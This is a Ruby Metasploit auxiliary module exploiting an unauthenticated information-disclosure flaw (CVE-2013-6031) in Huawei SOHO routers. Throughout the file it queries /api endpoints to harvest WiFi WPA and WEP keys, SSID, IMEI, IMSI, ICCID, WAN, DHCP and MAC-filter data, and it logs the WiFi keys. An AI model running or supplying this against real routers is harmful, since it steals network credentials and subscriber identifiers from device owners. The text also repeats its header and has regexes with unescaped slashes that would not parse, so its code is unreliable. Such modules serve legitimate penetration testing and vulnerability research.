##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'base64'

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'base64'

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report

BASIC_INFO = {
'Device Name' => /<DeviceName>(.*)</DeviceName>/i,
'Serial Number' => /<SerialNumber>(.*)</SerialNumber>/i,
'IMEI' => /<Imei>(.*)</Imei>/i,
'IMSI' => /<Imsi>(.*)</Imsi>/i,
'ICCID' => /<Iccid>(.*)</Iccid>/i,
'Hardware Version' => /<HardwareVersion>(.*)</HardwareVersion>/i,
'Software Version' => /<SoftwareVersion>(.*)</SoftwareVersion>/i,
'WebUI Version' => /<WebUIVersion>(.*)</WebUIVersion>/i,
'Mac Address1' => /<MacAddress1>(.*)</MacAddress1>/i,
'Mac Address2' => /<MacAddress2>(.*)</MacAddress2>/i,
'Product Family' => /<ProductFamily>(.*)</ProductFamily>/i,
'Classification' => /<Classify>(.*)</Classify>/i
}

WAN_INFO = {
'Wan IP Address' => /<WanIPAddress>(.*)</WanIPAddress>/i,
'Primary Dns' => /<PrimaryDns>(.*)</PrimaryDns>/i,
'Secondary Dns' => /<SecondaryDns>(.*)</SecondaryDns>/i
}

DHCP_INFO ={
'LAN IP Address' => /<DhcpIPAddress>(.*)</DhcpIPAddress>/i,
'DHCP StartIPAddress' => /<DhcpStartIPAddress>(.*)</DhcpStartIPAddress>/i,
'DHCP EndIPAddress' => /<DhcpEndIPAddress>(.*)</DhcpEndIPAddress>/i,
'DHCP Lease Time' => /<DhcpLeaseTime>(.*)</DhcpLeaseTime>/i
}

WIFI_INFO = {
'Wifi WPA pre-shared key' => /<WifiWpapsk>(.*)</WifiWpapsk>/i,
'Wifi Auth mode' => /<WifiAuthmode>(.*)</WifiAuthmode>/i,
'Wifi Basic encryption modes' => /<WifiBasicencryptionmodes>(.*)</WifiBasicencryptionmodes>/i,
'Wifi WPA Encryption Modes' => /<WifiWpaencryptionmodes>(.*)</WifiWpaencryptionmodes>/i,
'Wifi WEP Key1' => /<WifiWepKey1>(.*)</WifiWepKey1>/i,
'Wifi WEP Key2' => /<WifiWepKey2>(.*)</WifiWepKey2>/i,
'Wifi WEP Key3' => /<WifiWepKey3>(.*)</WifiWepKey3>/i,
'Wifi WEP Key4' => /<WifiWepKey4>(.*)</WifiWepKey4>/i,
'Wifi WEP Key Index' => /<WifiWepKeyIndex>(.*)</WifiWepKeyIndex>/i
}

def initialize(info={})
super(update_info(info,
'Name' => "Huawei Datacard Information Disclosure Vulnerability",
'Description' => %q{
This module exploits an unauthenticated information disclosure vulnerability in Huawei
SOHO routers. The module will gather information by accessing the /api pages where
authentication is not required, allowing configuration changes as well as information
disclosure, including any stored SMS.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Jimson K James',
'Tom James <tomsmaily[at]aczire.com>', # Msf module
],
'References' =>
[
['CWE', '425'],
['CVE', '2013-6031'],
['US-CERT-VU', '341526']
],
'DisclosureDate' => '2013-11-11' ))

register_options(
[
Opt::RHOST('mobilewifi.home')
])

end

# Gather basic router information
def run
get_router_info
print_line('')
get_router_mac_filter_info
print_line('')
get_router_wan_info
print_line('')
get_router_dhcp_info
print_line('')
get_wifi_info
end

def get_wifi_info

print_status("Getting WiFi Key details...")
res = send_request_raw(
{
'method' => 'GET',
'uri' => '/api/wlan/security-settings',
})

unless is_target?(res)
return
end

resp_body = res.body.to_s
log = ''

print_status("WiFi Key Details")

wifi_ssid = get_router_ssid
if wifi_ssid
print_status("WiFi SSID: #{wifi_ssid}")
log << "WiFi SSID: #{wifi_ssid} "
end

WIFI_INFO.each do |k,v|
if resp_body.match(v)
info = $1
print_status("#{k}: #{info}")
log << "#{k}: #{info} "
end
end

report_note(
:host => rhost,
:type => 'wifi_keys',
:data => log
)
end

def get_router_info

print_status("Gathering basic device information...")
res = send_request_raw(
{
'method' => 'GET',
'uri' => '/api/device/information',
})

unless is_target?(res)
return
end

resp_body = res.body.to_s

print_status("Basic Information")

BASIC_INFO.each do |k,v|
if resp_body.match(v)
info = $1
print_status("#{k}: #{info}")
end
end
end

def get_router_ssid
print_status("Gathering device SSID...")

res = send_request_raw(
{
'method' => 'GET',
'uri' => '/api/wlan/basic-settings',
})

# check whether we got any response from server and proceed.
unless is_target?(res)
return nil
end

resp_body = res.body.to_s

# Grabbing the Wifi SSID
if resp_body.match(/<WifiSsid>(.*)</WifiSsid>/i)
return $1
end

nil
end

def get_router_mac_filter_info
print_status("Gathering MAC filters...")
res = send_request_raw(
{
'method' => 'GET',
'uri' => '/api/wlan/mac-filter',
})

unless is_target?(res)
return
end

print_status('MAC Filter Information')

resp_body = res.body.to_s

if resp_body.match(/<WifiMacFilterStatus>(.*)</WifiMacFilterStatus>/i)
wifi_mac_filter_status = $1
print_status("Wifi MAC Filter Status: #{(wifi_mac_filter_status == '1') ? 'ENABLED' : 'DISABLED'}" )
end

(0..9).each do |i|
if resp_body.match(/<WifiMacFilterMac#{i}>(.*)</WifiMacFilterMac#{i}>/i)
wifi_mac_filter = $1
unless wifi_mac_filter.empty?
print_status("Mac: #{wifi_mac_filter}")
end
end
end
end

def get_router_wan_info
print_status("Gathering WAN information...")
res = send_request_raw(
{
'method' => 'GET',
'uri' => '/api/monitoring/status',
})

unless is_target?(res)
return
end

resp_body = res.body.to_s

print_status('WAN Details')

WAN_INFO.each do |k,v|
if resp_body.match(v)
info = $1
print_status("#{k}: #{info}")
end
end
end

def get_router_dhcp_info
print_status("Gathering DHCP information...")
res = send_request_raw(
{
'method' => 'GET',
'uri' => '/api/dhcp/settings',
})

unless is_target?(res)
return
end

resp_body = res.body.to_s

print_status('DHCP Details')

# Grabbing the DhcpStatus
if resp_body.match(/<DhcpStatus>(.*)</DhcpStatus>/i)
dhcp_status = $1
print_status("DHCP: #{(dhcp_status == '1') ? 'ENABLED' : 'DISABLED'}")
end

unless dhcp_status && dhcp_status == '1'
return
end

DHCP_INFO.each do |k,v|
if resp_body.match(v)
info = $1
print_status("#{k}: #{info}")
end
end
end

def is_target?(res)
# check whether we got any response from server and proceed.
unless res
print_error("Failed to get any response from server")
return false
end

# Is it a HTTP OK
unless res.code == 200
print_error("Did not get HTTP 200, URL was not found")
return false
end

# Check to verify server reported is a Huawei router
unless res.headers['Server'].match(/IPWEBS/1.4.0/i)
print_error("Target doesn't seem to be a Huawei router")
return false
end

true
end
end